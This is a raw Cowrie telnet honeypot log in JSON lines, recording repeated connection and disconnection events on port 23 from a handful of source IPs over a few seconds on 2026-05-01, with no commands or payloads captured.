{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54710,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad8ed0a0579e","protocol":"telnet","message":"New connection: 147.135.136.77:54710 (159.203.135.109:23) [session: ad8ed0a0579e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:46.754851Z"}
{"eventid":"cowrie.session.closed","duration":31.148458003997803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:46.816368Z","src_ip":"147.135.136.77","session":"02fe950b720f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38806,"dst_ip":"159.203.135.109","dst_port":23,"session":"669f1c347a7f","protocol":"telnet","message":"New connection: 168.119.91.149:38806 (159.203.135.109:23) [session: 669f1c347a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:48.259706Z"}
{"eventid":"cowrie.session.closed","duration":30.75428295135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:48.325268Z","src_ip":"147.135.136.77","session":"688338fb7551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54712,"dst_ip":"159.203.135.109","dst_port":23,"session":"c245baa9f171","protocol":"telnet","message":"New connection: 147.135.136.77:54712 (159.203.135.109:23) [session: c245baa9f171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:48.336799Z"}
{"eventid":"cowrie.session.closed","duration":31.36872172355652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:48.660504Z","src_ip":"147.135.136.77","session":"96be479d5f0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54728,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ec1d4cb7a4","protocol":"telnet","message":"New connection: 147.135.136.77:54728 (159.203.135.109:23) [session: f3ec1d4cb7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:48.887728Z"}
{"eventid":"cowrie.session.closed","duration":30.260720252990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:49.042246Z","src_ip":"147.135.136.77","session":"6860874bbf0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e9f284f14ee","protocol":"telnet","message":"New connection: 147.135.136.77:54742 (159.203.135.109:23) [session: 1e9f284f14ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:49.172300Z"}
{"eventid":"cowrie.session.closed","duration":30.67721724510193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:49.193177Z","src_ip":"147.135.136.77","session":"9944a0b4e4c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031795263290405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:49.270818Z","src_ip":"147.135.136.77","session":"903aa8812c92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"92f36db0f6d9","protocol":"telnet","message":"New connection: 147.135.136.77:54756 (159.203.135.109:23) [session: 92f36db0f6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:49.668295Z"}
{"eventid":"cowrie.session.closed","duration":30.84016728401184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:50.094679Z","src_ip":"147.135.136.77","session":"0c7585a703c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1102614402771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:50.163791Z","src_ip":"51.79.21.139","session":"66fb19ec7b41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54764,"dst_ip":"159.203.135.109","dst_port":23,"session":"de6a99e2359b","protocol":"telnet","message":"New connection: 147.135.136.77:54764 (159.203.135.109:23) [session: de6a99e2359b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:50.317145Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54778,"dst_ip":"159.203.135.109","dst_port":23,"session":"8506a12fe666","protocol":"telnet","message":"New connection: 147.135.136.77:54778 (159.203.135.109:23) [session: 8506a12fe666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:50.705893Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf65e8d0956","protocol":"telnet","message":"New connection: 147.135.136.77:54788 (159.203.135.109:23) [session: ebf65e8d0956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:50.937459Z"}
{"eventid":"cowrie.session.closed","duration":30.143717765808105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:51.060389Z","src_ip":"147.135.136.77","session":"b40f8f0ac6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53424,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc65be73f625","protocol":"telnet","message":"New connection: 168.119.91.149:53424 (159.203.135.109:23) [session: bc65be73f625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:51.246349Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54798,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4169cd09c5","protocol":"telnet","message":"New connection: 147.135.136.77:54798 (159.203.135.109:23) [session: 3c4169cd09c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:51.693180Z"}
{"eventid":"cowrie.session.closed","duration":31.326868534088135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:51.898939Z","src_ip":"147.135.136.77","session":"2784eafc1b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.497375011444092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:52.081033Z","src_ip":"147.135.136.77","session":"80618ad02577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82222628593445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:52.112669Z","src_ip":"147.135.136.77","session":"30da5a97d431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54790,"dst_ip":"159.203.135.109","dst_port":23,"session":"58666c0687ab","protocol":"telnet","message":"New connection: 147.135.136.77:54790 (159.203.135.109:23) [session: 58666c0687ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:52.266057Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54812,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d625449060","protocol":"telnet","message":"New connection: 147.135.136.77:54812 (159.203.135.109:23) [session: c5d625449060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:52.284776Z"}
{"eventid":"cowrie.session.closed","duration":30.97118306159973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:53.044312Z","src_ip":"147.135.136.77","session":"1a9cdfc52b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910996198654175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:53.135738Z","src_ip":"147.135.136.77","session":"e666e943fa7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54830,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a4fbaba70c","protocol":"telnet","message":"New connection: 147.135.136.77:54830 (159.203.135.109:23) [session: 64a4fbaba70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:53.460299Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54840,"dst_ip":"159.203.135.109","dst_port":23,"session":"163ba2e12e11","protocol":"telnet","message":"New connection: 147.135.136.77:54840 (159.203.135.109:23) [session: 163ba2e12e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:53.839980Z"}
{"eventid":"cowrie.session.closed","duration":31.152674674987793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:53.920487Z","src_ip":"147.135.136.77","session":"04f897d37eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59004044532776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.024634Z","src_ip":"147.135.136.77","session":"0ab2a24943e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.111063718795776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.051365Z","src_ip":"147.135.136.77","session":"2fd200dbefad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":38116,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc653f51591","protocol":"telnet","message":"New connection: 37.187.24.227:38116 (159.203.135.109:23) [session: ddc653f51591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.196076Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54852,"dst_ip":"159.203.135.109","dst_port":23,"session":"096929fcbe81","protocol":"telnet","message":"New connection: 147.135.136.77:54852 (159.203.135.109:23) [session: 096929fcbe81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.236320Z"}
{"eventid":"cowrie.session.closed","duration":31.064023971557617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.326169Z","src_ip":"147.135.136.77","session":"c50b110f684a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0beed0a5588","protocol":"telnet","message":"New connection: 147.135.136.77:54862 (159.203.135.109:23) [session: f0beed0a5588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.380728Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54826,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8fcb2d1b619","protocol":"telnet","message":"New connection: 147.135.136.77:54826 (159.203.135.109:23) [session: e8fcb2d1b619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.411975Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54868,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc020c6ebc94","protocol":"telnet","message":"New connection: 147.135.136.77:54868 (159.203.135.109:23) [session: cc020c6ebc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:54.554829Z"}
{"eventid":"cowrie.session.closed","duration":30.873427629470825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:55.058643Z","src_ip":"147.135.136.77","session":"c8221e1c9126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54878,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcb89eb40b60","protocol":"telnet","message":"New connection: 147.135.136.77:54878 (159.203.135.109:23) [session: fcb89eb40b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:55.239316Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f31ed6e78b","protocol":"telnet","message":"New connection: 147.135.136.77:54850 (159.203.135.109:23) [session: 94f31ed6e78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:55.243325Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54882,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e238bbd69d1","protocol":"telnet","message":"New connection: 147.135.136.77:54882 (159.203.135.109:23) [session: 6e238bbd69d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:55.518528Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":40998,"dst_ip":"159.203.135.109","dst_port":23,"session":"8699f27a5ba3","protocol":"telnet","message":"New connection: 37.187.24.227:40998 (159.203.135.109:23) [session: 8699f27a5ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:55.769700Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36422,"dst_ip":"159.203.135.109","dst_port":23,"session":"b338569da8b8","protocol":"telnet","message":"New connection: 147.135.136.77:36422 (159.203.135.109:23) [session: b338569da8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:55.868243Z"}
{"eventid":"cowrie.session.closed","duration":32.05519890785217,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.028429Z","src_ip":"147.135.136.77","session":"d842db27ae76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746224880218506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.038708Z","src_ip":"147.135.136.77","session":"e76ab23cb6b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36430,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d63f2a242f7","protocol":"telnet","message":"New connection: 147.135.136.77:36430 (159.203.135.109:23) [session: 4d63f2a242f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.049591Z"}
{"eventid":"cowrie.session.closed","duration":30.9470157623291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.202447Z","src_ip":"147.135.136.77","session":"d7eb2d68f06d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"523e3b7d2c1b","protocol":"telnet","message":"New connection: 147.135.136.77:36446 (159.203.135.109:23) [session: 523e3b7d2c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.226739Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":53432,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b24c262985a","protocol":"telnet","message":"New connection: 168.119.91.149:53432 (159.203.135.109:23) [session: 0b24c262985a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.232764Z"}
{"eventid":"cowrie.session.closed","duration":31.305405616760254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.265181Z","src_ip":"147.135.136.77","session":"93545246ec93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36462,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eec85b007a6","protocol":"telnet","message":"New connection: 147.135.136.77:36462 (159.203.135.109:23) [session: 9eec85b007a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:56.278115Z"}
{"eventid":"cowrie.session.closed","duration":30.812100887298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.044723Z","src_ip":"147.135.136.77","session":"bacaf73667f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.340210676193237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.057013Z","src_ip":"147.135.136.77","session":"2d194451f9f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.703540325164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.165449Z","src_ip":"147.135.136.77","session":"e36149566746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36472,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6e427263d7","protocol":"telnet","message":"New connection: 147.135.136.77:36472 (159.203.135.109:23) [session: ad6e427263d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.194772Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36480,"dst_ip":"159.203.135.109","dst_port":23,"session":"984669c27f39","protocol":"telnet","message":"New connection: 147.135.136.77:36480 (159.203.135.109:23) [session: 984669c27f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.209588Z"}
{"eventid":"cowrie.session.closed","duration":31.18173384666443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.379783Z","src_ip":"147.135.136.77","session":"789be6635f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36488,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b92ebc5cf18","protocol":"telnet","message":"New connection: 147.135.136.77:36488 (159.203.135.109:23) [session: 3b92ebc5cf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:57.632818Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":51292,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd4ed1852f88","protocol":"telnet","message":"New connection: 51.79.21.139:51292 (159.203.135.109:23) [session: bd4ed1852f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:58.045736Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36496,"dst_ip":"159.203.135.109","dst_port":23,"session":"c501c3b1a09a","protocol":"telnet","message":"New connection: 147.135.136.77:36496 (159.203.135.109:23) [session: c501c3b1a09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:58.083381Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36502,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe230dbc6141","protocol":"telnet","message":"New connection: 147.135.136.77:36502 (159.203.135.109:23) [session: fe230dbc6141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:58.099410Z"}
{"eventid":"cowrie.session.closed","duration":30.81682300567627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:58.157410Z","src_ip":"147.135.136.77","session":"c1bb5b1e0dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560606241226196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:58.230982Z","src_ip":"147.135.136.77","session":"105f5c6770cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36506,"dst_ip":"159.203.135.109","dst_port":23,"session":"e23154fca78e","protocol":"telnet","message":"New connection: 147.135.136.77:36506 (159.203.135.109:23) [session: e23154fca78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:58.312592Z"}
{"eventid":"cowrie.session.closed","duration":31.080064296722412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:59.056615Z","src_ip":"147.135.136.77","session":"d5d3eb58f177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36508,"dst_ip":"159.203.135.109","dst_port":23,"session":"add3393b644d","protocol":"telnet","message":"New connection: 147.135.136.77:36508 (159.203.135.109:23) [session: add3393b644d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:59.197572Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36512,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c93e4636ea5","protocol":"telnet","message":"New connection: 147.135.136.77:36512 (159.203.135.109:23) [session: 7c93e4636ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:59.323890Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36532,"dst_ip":"159.203.135.109","dst_port":23,"session":"a269f44ce85a","protocol":"telnet","message":"New connection: 147.135.136.77:36532 (159.203.135.109:23) [session: a269f44ce85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:59.415783Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36528,"dst_ip":"159.203.135.109","dst_port":23,"session":"3efe59a93dda","protocol":"telnet","message":"New connection: 147.135.136.77:36528 (159.203.135.109:23) [session: 3efe59a93dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:59.422299Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36544,"dst_ip":"159.203.135.109","dst_port":23,"session":"200a46a9dc2c","protocol":"telnet","message":"New connection: 147.135.136.77:36544 (159.203.135.109:23) [session: 200a46a9dc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:59.664239Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36546,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b0c3cbf9d6","protocol":"telnet","message":"New connection: 147.135.136.77:36546 (159.203.135.109:23) [session: d7b0c3cbf9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:00.240625Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36560,"dst_ip":"159.203.135.109","dst_port":23,"session":"0094120c1f41","protocol":"telnet","message":"New connection: 147.135.136.77:36560 (159.203.135.109:23) [session: 0094120c1f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:00.400740Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36562,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13862d56cc7","protocol":"telnet","message":"New connection: 147.135.136.77:36562 (159.203.135.109:23) [session: a13862d56cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:01.003302Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36568,"dst_ip":"159.203.135.109","dst_port":23,"session":"8085db659ad6","protocol":"telnet","message":"New connection: 147.135.136.77:36568 (159.203.135.109:23) [session: 8085db659ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:01.076478Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36584,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff88857f353","protocol":"telnet","message":"New connection: 147.135.136.77:36584 (159.203.135.109:23) [session: aff88857f353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:01.273755Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36598,"dst_ip":"159.203.135.109","dst_port":23,"session":"5065ebfbd5e1","protocol":"telnet","message":"New connection: 147.135.136.77:36598 (159.203.135.109:23) [session: 5065ebfbd5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:01.290331Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abe2b25ebbd","protocol":"telnet","message":"New connection: 147.135.136.77:36608 (159.203.135.109:23) [session: 3abe2b25ebbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:02.238850Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36614,"dst_ip":"159.203.135.109","dst_port":23,"session":"48cd6728051a","protocol":"telnet","message":"New connection: 147.135.136.77:36614 (159.203.135.109:23) [session: 48cd6728051a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:02.775858Z"}
